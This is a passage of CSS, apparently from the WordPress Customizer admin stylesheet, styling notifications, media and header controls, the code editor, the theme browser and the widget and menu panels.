margin-top: 8px; } .customize-control-text.has-error input { outline: 2px solid #d63638; } #customize-controls #customize-notifications-area { position: absolute; top: 46px; width: 100%; border-bottom: 1px solid #dcdcde; display: block; padding: 0; margin: 0; } .wp-full-overlay.collapsed #customize-controls #customize-notifications-area { display: none !important; } #customize-controls #customize-notifications-area:not(.has-overlay-notifications), #customize-controls .customize-section-title > .customize-control-notifications-container:not(.has-overlay-notifications), #customize-controls .panel-meta > .customize-control-notifications-container:not(.has-overlay-notifications) { max-height: 210px; overflow-x: hidden; overflow-y: auto; } #customize-controls #customize-notifications-area > ul, #customize-controls #customize-notifications-area .notice, #customize-controls .panel-meta > .customize-control-notifications-container, #customize-controls .panel-meta > .customize-control-notifications-container .notice, #customize-controls .customize-section-title > .customize-control-notifications-container, #customize-controls .customize-section-title > .customize-control-notifications-container .notice { margin: 0; } #customize-controls .panel-meta > .customize-control-notifications-container, #customize-controls .customize-section-title > .customize-control-notifications-container { border-top: 1px solid #dcdcde; } #customize-controls #customize-notifications-area .notice, #customize-controls .panel-meta > .customize-control-notifications-container .notice, #customize-controls .customize-section-title > .customize-control-notifications-container .notice { padding: 9px 14px; } #customize-controls #customize-notifications-area .notice.is-dismissible, #customize-controls .panel-meta > .customize-control-notifications-container .notice.is-dismissible, #customize-controls .customize-section-title > .customize-control-notifications-container .notice.is-dismissible { padding-right: 38px; } #customize-controls #customize-notifications-area .notice + .notice, #customize-controls .panel-meta > .customize-control-notifications-container .notice + .notice, #customize-controls .customize-section-title > .customize-control-notifications-container .notice + .notice { margin-top: 1px; } @keyframes customize-fade-in { 0% { opacity: 0; } 100% { opacity: 1; } } #customize-controls .notice.notification-overlay, #customize-controls #customize-notifications-area .notice.notification-overlay { margin: 0; border-left: 0; /* @todo Appropriate styles could be added for notice-error, notice-warning, notice-success, etc */ } #customize-controls .customize-control-notifications-container.has-overlay-notifications { animation: customize-fade-in 0.5s; z-index: 30; } /* Note: Styles for this are also defined in themes.css */ #customize-controls #customize-notifications-area .notice.notification-overlay .notification-message { clear: both; color: #1d2327; font-size: 18px; font-style: normal; margin: 0; padding: 2em 0; text-align: center; width: 100%; display: block; top: 50%; position: relative; } /* Style for custom settings */ /** * Static front page */ #customize-control-show_on_front.has-error { margin-bottom: 0; } #customize-control-show_on_front.has-error .customize-control-notifications-container { margin-top: 12px; } /** * Dropdowns */ .accordion-section .dropdown { float: left; display: block; position: relative; cursor: pointer; } .accordion-section .dropdown-content { overflow: hidden; float: left; min-width: 30px; height: 16px; line-height: 16px; margin-right: 16px; padding: 4px 5px; border: 2px solid #f0f0f1; -webkit-user-select: none; user-select: none; } /* @todo maybe no more used? */ .customize-control .dropdown-arrow { position: absolute; top: 0; bottom: 0; right: 0; width: 20px; background: #f0f0f1; } .customize-control .dropdown-arrow:after { content: "\f140"; content: "\f140" / ''; font: normal 20px/1 dashicons; display: block; padding: 0; text-indent: 0; text-align: center; position: relative; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #2c3338; } .customize-control .dropdown-status { color: #2c3338; background: #f0f0f1; display: none; max-width: 112px; } .customize-control-color .dropdown { margin-right: 5px; margin-bottom: 5px; } .customize-control-color .dropdown .dropdown-content { background-color: #50575e; border: 1px solid rgba(0, 0, 0, 0.15); } .customize-control-color .dropdown:hover .dropdown-content { border-color: rgba(0, 0, 0, 0.25); } /** * iOS can't scroll iframes, * instead it expands the iframe size to match the size of the content */ .ios .wp-full-overlay { position: relative; } .ios #customize-controls .wp-full-overlay-sidebar-content { -webkit-overflow-scrolling: touch; } /* Media controls */ .customize-control .actions .button { margin-top: 12px; } .customize-control-header .actions, .customize-control-header .uploaded { margin-bottom: 18px; } .customize-control-header .uploaded button:not(.random), .customize-control-header .default button:not(.random) { width: 100%; padding: 0; margin: 0; background: none; border: none; color: inherit; cursor: pointer; } .customize-control-header button img { display: block; } .customize-control .attachment-media-view .remove-button, .customize-control .attachment-media-view .default-button, .customize-control .attachment-media-view .upload-button, .customize-control-header button.new, .customize-control-header button.remove { width: auto; height: auto; white-space: normal; } .customize-control .attachment-media-view .upload-button { width: 100%; text-align: center; } .customize-control .attachment-media-view .upload-button.control-focus { width: auto; } .customize-control.customize-control-header .actions .upload-button.button.new { width: 100%; text-align: center; } .customize-control .attachment-media-view .thumbnail, .customize-control-header .current .container { overflow: hidden; } .customize-control .attachment-media-view .placeholder, .customize-control .attachment-media-view .button-add-media, .customize-control-header .placeholder { width: 100%; position: relative; text-align: center; cursor: default; border: 1px dashed #c3c4c7; box-sizing: border-box; padding: 9px 0; line-height: 1.6; } .customize-control .attachment-media-view .button-add-media { cursor: pointer; background-color: #f0f0f1; color: #2c3338; } .customize-control .attachment-media-view .button-add-media:hover { background-color: #fff; } .customize-control .attachment-media-view .button-add-media:focus { background-color: #fff; border-color: #3582c4; border-style: solid; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .customize-control-header .inner { display: none; position: absolute; width: 100%; color: #50575e; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .customize-control-header .inner, .customize-control-header .inner .dashicons { line-height: 20px; top: 8px; } .customize-control-header .list .inner, .customize-control-header .list .inner .dashicons { top: 9px; } .customize-control-header .header-view { position: relative; width: 100%; margin-bottom: 12px; } .customize-control-header .header-view:last-child { margin-bottom: 0; } /* Convoluted, but 'outline' support isn't good enough yet */ .customize-control-header .header-view:after { border: 0; } .customize-control-header .header-view.selected .choice:focus { outline: none; } .customize-control-header .header-view.selected:after { content: ""; position: absolute; height: auto; top: 0; left: 0; bottom: 0; right: 0; border: 4px solid #72aee6; border-radius: 2px; } .customize-control-header .header-view.button.selected { border: 0; } /* Header control: overlay "close" button */ .customize-control-header .uploaded .header-view .close { font-size: 20px; color: #fff; background: #50575e; background: rgba(0, 0, 0, 0.5); position: absolute; top: 10px; left: -999px; z-index: 1; width: 26px; height: 26px; cursor: pointer; } .customize-control-header .header-view:hover .close, .customize-control-header .header-view .close:focus { left: auto; right: 10px; } .customize-control-header .header-view .close:focus { outline: 1px solid #4f94d4; } /* Header control: randomiz(s)er */ .customize-control-header .random.placeholder { cursor: pointer; border-radius: 2px; height: 40px; } .customize-control-header button.random { width: 100%; height: auto; min-height: 40px; white-space: normal; } .customize-control-header button.random .dice { margin-top: 0; } .customize-control-header .placeholder:hover .dice, .customize-control-header .header-view:hover > button.random .dice { animation: dice-color-change 3s infinite; } .button-see-me { animation: bounce .7s 1; transform-origin: center bottom; } @keyframes bounce { from, 20%, 53%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transform: translate3d(0,0,0); } 40%, 43% { animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transform: translate3d(0, -12px, 0); } 70% { animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transform: translate3d(0, -6px, 0); } 90% { transform: translate3d(0,-1px,0); } } .customize-control-header .choice { position: relative; display: block; margin-bottom: 9px; } .customize-control-header .choice:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .customize-control-header .uploaded div:last-child > .choice { margin-bottom: 0; } .customize-control .attachment-media-view .thumbnail-image img, .customize-control-header img { max-width: 100%; } .customize-control .attachment-media-view .remove-button, .customize-control .attachment-media-view .default-button, .customize-control-header .remove { margin-right: 8px; } /* Background position control */ .customize-control-background_position .background-position-control .button-group { display: block; } /** * Code Editor Control and Custom CSS Section * * Modifications to the Section Container to make the textarea full-width and * full-height, if the control is the only control in the section. */ .customize-control-code_editor textarea { width: 100%; font-family: Consolas, Monaco, monospace; font-size: 12px; padding: 6px 8px; tab-size: 2; } .customize-control-code_editor textarea, .customize-control-code_editor .CodeMirror { height: 14em; } #customize-controls .customize-section-description-container.section-meta.customize-info { border-bottom: none; } #sub-accordion-section-custom_css .customize-control-notifications-container { margin-bottom: 15px; } #customize-control-custom_css textarea { display: block; height: 500px; } .customize-section-description-container + #customize-control-custom_css .customize-control-title { margin-left: 12px; } .customize-section-description-container + #customize-control-custom_css:last-child textarea { border-right: 0; border-left: 0; height: calc( 100vh - 185px ); resize: none; } .customize-section-description-container + #customize-control-custom_css:last-child { margin-left: -12px; width: 299px; width: calc( 100% + 24px ); margin-bottom: -12px; } .customize-section-description-container + #customize-control-custom_css:last-child .CodeMirror { height: calc( 100vh - 185px ); } .CodeMirror-lint-tooltip, .CodeMirror-hints { z-index: 500000 !important; } .customize-section-description-container + #customize-control-custom_css:last-child .customize-control-notifications-container { margin-left: 12px; margin-right: 12px; } .theme-browser .theme.active .theme-actions, .wp-customizer .theme-browser .theme .theme-actions { padding: 9px 15px; } .theme-browser .theme:not(.active) .theme-actions { box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1); } @media screen and (max-width: 640px) { .customize-section-description-container + #customize-control-custom_css:last-child { margin-right: 0; } .customize-section-description-container + #customize-control-custom_css:last-child textarea { height: calc( 100vh - 140px ); } } /** * Themes */ #customize-theme-controls .control-panel-themes { border-bottom: none; } #customize-theme-controls .control-panel-themes > .accordion-section-title:hover, /* Not a focusable element. */ #customize-theme-controls .control-panel-themes > .accordion-section-title { cursor: default; background: #fff; color: #50575e; border-top: 1px solid #dcdcde; border-bottom: 1px solid #dcdcde; border-left: none; border-right: none; margin: 0 0 15px; padding: 12px 100px 15px 15px; /* Space for the button */ } #customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover, /* Not a focusable element. */ #customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child { border-top: 0; } #customize-theme-controls .control-section-themes > .accordion-section-title:hover, /* Not a focusable element. */ #customize-theme-controls .control-section-themes > .accordion-section-title { margin: 0 0 15px; } #customize-controls .customize-themes-panel .accordion-section-title:hover, #customize-controls .customize-themes-panel .accordion-section-title { margin: 15px -8px; } #customize-controls .control-section-themes .accordion-section-title, #customize-controls .customize-themes-panel .accordion-section-title { padding-right: 100px; /* Space for the button */ } .control-panel-themes .accordion-section-title span.customize-action, #customize-controls .customize-section-title span.customize-action, #customize-controls .control-section-themes .accordion-section-title span.customize-action, #customize-controls .customize-section-title span.customize-action { font-size: 13px; display: block; font-weight: 400; } #customize-theme-controls .control-panel-themes .accordion-section-title .change-theme { position: absolute; right: 10px; top: 50%; margin-top: -20px; /* Half of 40px button height for vertical centering */ font-weight: 400; } #customize-notifications-area .notification-message button.switch-to-editor { display: block; margin-top: 6px; font-weight: 400; } #customize-theme-controls .control-panel-themes > .accordion-section-title:after { display: none; } .control-panel-themes .customize-themes-full-container { position: fixed; top: 0; left: 0; transition: .18s left ease-in-out; margin: 0 0 0 300px; padding: 71px 0 25px; overflow-y: scroll; width: calc(100% - 300px); height: calc(100% - 96px); background: #f0f0f1; z-index: 20; } @media (prefers-reduced-motion: reduce) { .control-panel-themes .customize-themes-full-container { transition: none; } } @media screen and (min-width: 1670px) { .control-panel-themes .customize-themes-full-container { width: 82%; right: 0; left: initial; } } .modal-open .control-panel-themes .customize-themes-full-container { overflow-y: visible; } /* Animations for opening the themes panel */ #customize-save-button-wrapper, #customize-header-actions .spinner, #customize-header-actions .customize-controls-preview-toggle { transition: .18s margin ease-in-out; } #customize-footer-actions, #customize-footer-actions .collapse-sidebar { bottom: 0; transition: .18s bottom ease-in-out; } .in-themes-panel:not(.animating) #customize-header-actions .spinner, .in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle, .in-themes-panel:not(.animating) #customize-preview, .in-themes-panel:not(.animating) #customize-footer-actions { visibility: hidden; } .wp-full-overlay.in-themes-panel { background: #f0f0f1; /* Prevents a black flash when fading in the panel */ } .in-themes-panel #customize-save-button-wrapper, .in-themes-panel #customize-header-actions .spinner, .in-themes-panel #customize-header-actions .customize-controls-preview-toggle { margin-top: -46px; /* Height of header actions bar */ } .in-themes-panel #customize-footer-actions, .in-themes-panel #customize-footer-actions .collapse-sidebar { bottom: -45px; } /* Don't show the theme count while the panel opens, as it's in the wrong place during the animation */ .in-themes-panel.animating .control-panel-themes .filter-themes-count { display: none; } .in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content { bottom: 0; } .themes-filter-bar .feature-filter-toggle { min-height: 32px; line-height: 2.30769231; } .themes-filter-bar .feature-filter-toggle:before { content: "\f111"; content: "\f111" / ''; margin: 0 5px 0 0; font: normal 16px/1 dashicons; vertical-align: text-bottom; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .themes-filter-bar .feature-filter-toggle.open { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); } .themes-filter-bar .feature-filter-toggle .filter-count-filters { display: none; } .filter-drawer { box-sizing: border-box; width: 100%; position: absolute; top: 46px; left: 0; padding: 25px 0 25px 25px; border-top: 0; margin: 0; background: #f0f0f1; border-bottom: 1px solid #dcdcde; } .filter-drawer .filter-group { margin: 0 25px 0 0; width: calc( (100% - 75px) / 3); min-width: 200px; max-width: 320px; } /* Adds a delay before fading in to avoid it "jumping" */ @keyframes themes-fade-in { 0% { opacity: 0; } 50% { opacity: 0; } 100% { opacity: 1; } } .control-panel-themes .customize-themes-full-container.animate { animation: .6s themes-fade-in 1; } .in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count { animation: .6s themes-fade-in 1; } .control-panel-themes .filter-themes-count .themes-displayed { font-weight: 600; color: #50575e; } .customize-themes-notifications { margin: 0; } .control-panel-themes .customize-themes-notifications .notice { margin: 0 0 25px; } .customize-themes-full-container .customize-themes-section { display: none !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */ overflow: hidden; } .customize-themes-full-container .customize-themes-section.current-section { display: list-item !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */ } .control-section .customize-section-text-before { padding: 0 0 8px 15px; margin: 15px 0 0; line-height: 16px; border-bottom: 1px solid #dcdcde; color: #50575e; } .control-panel-themes .customize-themes-section-title { width: 100%; background: #fff; box-shadow: none; outline: none; border-top: none; border-bottom: 1px solid #dcdcde; border-left: 4px solid #fff; border-right: none; cursor: pointer; padding: 10px 15px; position: relative; text-align: left; font-size: 14px; font-weight: 600; color: #50575e; text-shadow: none; } .control-panel-themes #accordion-section-installed_themes { border-top: 1px solid #dcdcde; } .control-panel-themes .theme-section { margin: 0; position: relative; } .control-panel-themes .customize-themes-section-title:focus, .control-panel-themes .customize-themes-section-title:hover { background: #f6f7f7; } .customize-themes-section-title:not(.selected):after { content: ""; display: block; position: absolute; top: 9px; right: 15px; width: 18px; height: 18px; border-radius: 100%; border: 1px solid #c3c4c7; background: #fff; } .control-panel-themes .theme-section .customize-themes-section-title.selected:after { content: "\f147"; content: "\f147" / ''; font: 16px/1 dashicons; box-sizing: border-box; width: 20px; height: 20px; padding: 3px 3px 1px 1px; /* Re-align the icon to the smaller grid */ border-radius: 100%; position: absolute; top: 9px; right: 15px; color: #fff; } #customize-theme-controls .themes.accordion-section-content { position: relative; left: 0; padding: 0; width: 100%; } .loading .customize-themes-section .spinner { display: block; visibility: visible; position: relative; clear: both; width: 20px; height: 20px; left: calc(50% - 10px); float: none; margin-top: 50px; } .customize-themes-section .no-themes, .customize-themes-section .no-themes-local { display: none; } .themes-section-installed_themes .theme .notice-success:not(.updated-message) { display: none; /* Hide "installed" notice on installed themes tab. */ } .customize-control-theme .theme { width: 100%; margin: 0; border: 1px solid #dcdcde; background: #fff; } .customize-control-theme .theme .theme-name, .customize-control-theme .theme .theme-actions { background: #fff; border: none; } .customize-control.customize-control-theme { /* override most properties on .customize-control */ box-sizing: border-box; width: 25%; max-width: 600px; /* Max. screenshot size / 2 */ margin: 0 25px 25px 0; padding: 0; clear: none; } /* 5 columns above 2100px */ @media screen and (min-width: 2101px) { .customize-control.customize-control-theme { width: calc( ( 100% - 125px ) / 5 - 1px ); /* 1px offset accounts for browser rounding, typical all grids */ } } /* 4 columns up to 2100px */ @media screen and (min-width: 1601px) and (max-width: 2100px) { .customize-control.customize-control-theme { width: calc( ( 100% - 100px ) / 4 - 1px ); } } /* 3 columns up to 1600px */ @media screen and (min-width: 1201px) and (max-width: 1600px) { .customize-control.customize-control-theme { width: calc( ( 100% - 75px ) / 3 - 1px ); } } /* 2 columns up to 1200px */ @media screen and (min-width: 851px) and (max-width: 1200px) { .customize-control.customize-control-theme { width: calc( ( 100% - 50px ) / 2 - 1px ); } } /* 1 column up to 850 px */ @media screen and (max-width: 850px) { .customize-control.customize-control-theme { width: 100%; } } .wp-customizer .theme-browser .themes { padding: 0 0 25px 25px; transition: .18s margin-top linear; } .wp-customizer .theme-browser .theme .theme-actions { opacity: 1; } #customize-controls h3.theme-name { font-size: 15px; } #customize-controls .theme-overlay .theme-name { font-size: 32px; } .customize-preview-header.themes-filter-bar { position: fixed; top: 0; left: 300px; width: calc(100% - 300px); height: 46px; background: #f0f0f1; z-index: 10; padding: 6px 25px; box-sizing: border-box; border-bottom: 1px solid #dcdcde; } .customize-preview-header.themes-filter-bar, .customize-preview-header.themes-filter-bar .search-form { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; } .customize-preview-header.themes-filter-bar .search-form-input { position: relative; } .customize-preview-header .filter-themes-wrapper { display: grid; align-items: center; gap: 10px; grid-template-columns: auto 1fr; } .customize-preview-header .filter-themes-wrapper .filter-themes-count { justify-self: end; } @media screen and (min-width: 1670px) { .customize-preview-header.themes-filter-bar { width: 82%; right: 0; left: initial; } } .themes-filter-bar .themes-filter-container { margin: 0; padding: 0; display: flex; align-items: center; gap: 10px; } .themes-filter-bar .wp-filter-search { padding: 0 10px 0 30px; max-width: 100%; width: 40%; min-width: 300px; height: 32px; min-height: 32px; /* Override global 40px min-height for compact bar */ margin: 1px 0; top: 0; left: 0; } /* Unstick the filter bar on short windows/screens. This breakpoint is based on the current length of .org feature filters assuming translations do not wrap lines. */ @media screen and (max-height: 540px), screen and (max-width: 1018px) { .customize-preview-header.themes-filter-bar { position: relative; left: 0; width: 100%; margin: 0 0 25px; } .filter-drawer { top: 46px; } .wp-customizer .theme-browser .themes { padding: 0 0 25px 25px; overflow: hidden; } .control-panel-themes .customize-themes-full-container { margin-top: 0; padding: 0; height: 100%; width: calc(100% - 300px); } } @media screen and (max-width: 1018px) { .filter-drawer .filter-group { width: calc( (100% - 50px) / 2); } } @media screen and (max-width: 960px) { .customize-preview-header.themes-filter-bar { height: 96px; } } @media screen and (max-width: 900px) { .themes-filter-bar .wp-filter-search { width: 100%; margin: 0; min-width: 200px; } .customize-preview-header.themes-filter-bar, .customize-preview-header.themes-filter-bar .search-form .themes-filter-bar .themes-filter-container { display: grid; gap: 4px; } .customize-preview-header.themes-filter-bar .search-form-input { display: flex; flex-grow: 1; } .filter-drawer { top: 86px; } .control-panel-themes .filter-themes-count { float: left; } } @media screen and (max-width: 792px) { .filter-drawer .filter-group { width: calc( 100% - 25px); } } .control-panel-themes .customize-themes-mobile-back { display: none; } /* Mobile - toggle between themes and filters */ @media screen and (max-width: 600px) { .filter-drawer { top: 132px; } .wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes { display: block; float: right; } .control-panel-themes .customize-themes-full-container { width: 100%; margin: 0; padding-top: 46px; height: calc(100% - 46px); z-index: 1; display: none; } .showing-themes .control-panel-themes .customize-themes-full-container { display: block; } .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back { display: block; position: fixed; top: 0; left: 0; background: #f0f0f1; color: #3c434a; border-radius: 0; box-shadow: none; border: none; height: 46px; width: 100%; z-index: 10; text-align: left; text-shadow: none; border-bottom: 1px solid #dcdcde; border-left: 4px solid transparent; margin: 0; padding: 0; font-size: 0; overflow: hidden; } .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before { left: 0; top: 0; height: 46px; width: 26px; display: block; line-height: 2.3; padding: 0 8px; border-right: 1px solid #dcdcde; } .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover, .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus { background: #f6f7f7; box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .showing-themes #customize-header-actions { display: none; } #customize-controls { width: 100%; } } /* Details View */ .wp-customizer .theme-overlay { display: none; } .wp-customizer.modal-open .theme-overlay { position: fixed; left: 0; top: 0; right: 0; bottom: 0; z-index: 109; } /* Avoid a z-index war by resetting elements that should be under the overlay. This is likely required because of the way that sections and panels are positioned. */ .wp-customizer.modal-open #customize-header-actions, .wp-customizer.modal-open .control-panel-themes .filter-themes-count, .wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after { z-index: -1; } .wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content { overflow: visible; } .wp-customizer .theme-overlay .theme-backdrop { background: rgba(240, 240, 241, 0.75); position: fixed; z-index: 110; } .wp-customizer .theme-overlay .star-rating { float: left; margin-right: 8px; } .wp-customizer .theme-rating .num-ratings { line-height: 20px; } .wp-customizer .theme-overlay .theme-wrap { left: 90px; right: 90px; top: 45px; bottom: 45px; z-index: 120; } .wp-customizer .theme-overlay .theme-actions { text-align: right; /* Because there're only one or two actions, match the UI pattern of media modals and right-align the action. */ padding: 10px 25px 5px; background: #f0f0f1; border-top: 1px solid #dcdcde; } .wp-customizer .theme-overlay .theme-actions .theme-install.preview { margin-left: 8px; } .modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content { overflow: visible; /* Prevent the top-level Customizer controls from becoming visible when elements on the right of the details modal are focused. */ } .wp-customizer .theme-header { background: #f0f0f1; } .wp-customizer .theme-overlay .theme-header button, .wp-customizer .theme-overlay .theme-header .close:before { color: #3c434a; } .wp-customizer .theme-overlay .theme-header .close:focus, .wp-customizer .theme-overlay .theme-header .close:hover, .wp-customizer .theme-overlay .theme-header .right:focus, .wp-customizer .theme-overlay .theme-header .right:hover, .wp-customizer .theme-overlay .theme-header .left:focus, .wp-customizer .theme-overlay .theme-header .left:hover { background: #fff; } .wp-customizer .theme-overlay .theme-header .close:focus:before, .wp-customizer .theme-overlay .theme-header .close:hover:before { color: var(--wp-admin-theme-color); } .wp-customizer .theme-overlay .theme-header button.disabled, .wp-customizer .theme-overlay .theme-header button.disabled:hover, .wp-customizer .theme-overlay .theme-header button.disabled:focus { border-bottom: none; background: transparent; color: #c3c4c7; } /* Small Screens */ @media (max-width: 850px), (max-height: 472px) { .wp-customizer .theme-overlay .theme-wrap { left: 0; right: 0; top: 0; bottom: 0; } .wp-customizer .theme-browser .themes { padding-right: 25px; } } /* Handle cheaters. */ body.cheatin { font-size: medium; height: auto; background: #fff; border: 1px solid #c3c4c7; margin: 50px auto 2em; padding: 1em 2em; max-width: 700px; min-width: 0; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } body.cheatin h1 { border-bottom: 1px solid #dcdcde; clear: both; color: #50575e; font-size: 24px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; margin: 30px 0 0; padding: 0 0 7px; } body.cheatin p { font-size: 14px; line-height: 1.5; margin: 25px 0 20px; } /** * Widgets and Menus common styles */ /* higher specificity than .wp-core-ui .button */ #customize-theme-controls .add-new-widget, #customize-theme-controls .add-new-menu-item { cursor: pointer; float: right; margin: 0 0 0 10px; transition: all 0.2s; -webkit-user-select: none; user-select: none; outline: none; } .reordering .add-new-widget, .reordering .add-new-menu-item { opacity: 0.2; pointer-events: none; cursor: not-allowed; /* doesn't work in conjunction with pointer-events */ } .add-new-widget:before, .add-new-menu-item:before, #available-menu-items .new-content-item .add-content:before { content: "\f132"; content: "\f132" / ''; display: inline-block; position: relative; left: -2px; top: 0; font: normal 20px/1 dashicons; vertical-align: middle; transition: all 0.2s; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* Reordering */ .reorder-toggle { float: right; padding: 5px 8px; text-decoration: none; cursor: pointer; outline: none; } .reorder, .reordering .reorder-done { display: block; padding: 5px 8px; } .reorder-done, .reordering .reorder { display: none; } .widget-reorder-nav span, .menu-item-reorder-nav button { position: relative; overflow: hidden; float: left; display: block; width: 33px; /* was 42px for mobile */ height: 43px; color: #8c8f94; text-indent: -9999px; cursor: pointer; outline: none; } .menu-item-reorder-nav button { width: 30px; height: 40px; background: transparent; border: none; box-shadow: none; } .widget-reorder-nav span:before, .menu-item-reorder-nav button:before { display: inline-block; position: absolute; top: 0; right: 0; width: 100%; height: 100%; font: normal 20px/43px dashicons; text-align: center; text-indent: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .widget-reorder-nav span:hover, .widget-reorder-nav span:focus, .menu-item-reorder-nav button:hover, .menu-item-reorder-nav button:focus { color: #1d2327; background: #f0f0f1; } .move-widget-down:before, .menus-move-down:before { content: "\f347"; content: "\f347" / ''; } .move-widget-up:before, .menus-move-up:before { content: "\f343"; content: "\f343" / ''; } #customize-theme-controls .first-widget .move-widget-up, #customize-theme-controls .last-widget .move-widget-down, .move-up-disabled .menus-move-up, .move-down-disabled .menus-move-down, .move-right-disabled .menus-move-right, .move-left-disabled .menus-move-left { color: #dcdcde; background-color: #fff; cursor: default; pointer-events: none; } /** * New widget and Add-menu-items modes and panels */ .wp-full-overlay-main { right: auto; /* this overrides a right: 0; which causes the preview to resize, I'd rather have it go off screen at the normal size. */ width: 100%; } body.adding-widget .add-new-widget, body.adding-widget .add-new-widget:hover, .adding-menu-items .add-new-menu-item, .adding-menu-items .add-new-menu-item:hover, .add-menu-toggle.open, .add-menu-toggle.open:hover { background: #f0f0f1; border-color: #8c8f94; color: #2c3338; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); } body.adding-widget .add-new-widget:before, .adding-menu-items .add-new-menu-item:before, #accordion-section-add_menu .add-new-menu-item.open:before { transform: rotate(45deg); } #available-widgets, #available-menu-items { position: absolute; top: 0; bottom: 0; left: -301px; visibility: hidden; overflow-x: hidden; overflow-y: auto; width: 300px; margin: 0; z-index: 4; background: #f0f0f1; transition: left .18s; border-right: 1px solid #dcdcde; } #available-widgets .accordion-section-title, #available-menu-items .accordion-section-title { z-index: 2; } #available-widgets .customize-section-title, #available-menu-items .customize-section-title { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } #available-widgets .customize-section-title button, #available-menu-items .customize-section-title button { display: none; } #available-widgets-list { top: 82px; position: absolute; overflow: auto; bottom: 0; width: 100%; border-top: 1px solid #dcdcde; } .no-widgets-found #available-widgets-list { border-top: none; } #available-widgets-filter { position: fixed; top: 0; z-index: 1; width: 300px; background: #f0f0f1; } /* search field container */ #available-widgets-filter, #available-menu-items-search .accordion-section-title { padding: 13px 15px; box-sizing: border-box; } #available-widgets-filter input, #available-menu-items-search input { width: 100%; min-height: 40px; margin: 1px 0; padding: 0 30px; } #available-widgets-filter input::-ms-clear, #available-menu-items-search input::-ms-clear { display: none; /* remove the "x" in IE, which conflicts with the "x" icon on button.clear-results */ } #available-menu-items-search .search-icon, #available-widgets-filter .search-icon { display: block; position: absolute; bottom: 19px; /* 13 container padding +1 input margin +1 input border +4 centering in 40px input */ left: 16px; width: 30px; height: 30px; line-height: 2.1; text-align: center; color: #646970; } #available-widgets-filter .clear-results, #available-menu-items-search .accordion-section-title .clear-results { position: absolute; top: 40px; /* 13 container padding +1 input margin +1 input border +4 centering in 40px input */ right: 16px; width: 30px; height: 30px; padding: 0; border: 0; cursor: pointer; background: none; color: #d63638; text-decoration: none; outline: 0; } #available-widgets-filter .clear-results, #available-menu-items-search .clear-results, #available-menu-items-search.loading .clear-results.is-visible { display: none; } #available-widgets-filter .clear-results.is-visible, #available-menu-items-search .clear-results.is-visible { display: block; } #available-widgets-filter .clear-results:before, #available-menu-items-search .clear-results:before { content: "\f335"; content: "\f335" / ''; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #available-widgets-filter .clear-results:hover, #available-widgets-filter .clear-results:focus, #available-menu-items-search .clear-results:hover, #available-menu-items-search .clear-results:focus { color: #d63638; } #available-widgets-filter .clear-results:focus, #available-menu-items-search .clear-results:focus { border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #available-menu-items-search .search-icon:after, #available-widgets-filter .search-icon:after, .themes-filter-bar .search-icon:after { content: "\f179"; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .themes-filter-bar .search-icon { position: absolute; top: 2px; left: 2px; z-index: 1; color: #646970; height: 30px; width: 30px; line-height: 2; text-align: center; } .no-widgets-found-message { display: none; margin: 0; padding: 0 15px; line-height: inherit; } .no-widgets-found .no-widgets-found-message { display: block; } #available-widgets .widget-top, #available-widgets .widget-top:hover, #available-menu-items .item-top, #available-menu-items .item-top:hover { border: none; background: transparent; box-shadow: none; } #available-widgets .widget-tpl, #available-menu-items .item-tpl { position: relative; padding: 15px 15px 15px 60px; background: #fff; border-bottom: 1px solid #dcdcde; border-left: 4px solid #fff; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; cursor: pointer; display: none; } #available-widgets .widget, #available-menu-items .item { position: static; } /* Responsive */ .customize-controls-preview-toggle { display: none; } @media only screen and (max-width: 782px) { .wp-customizer .theme:not(.active):hover .theme-actions, .wp-customizer 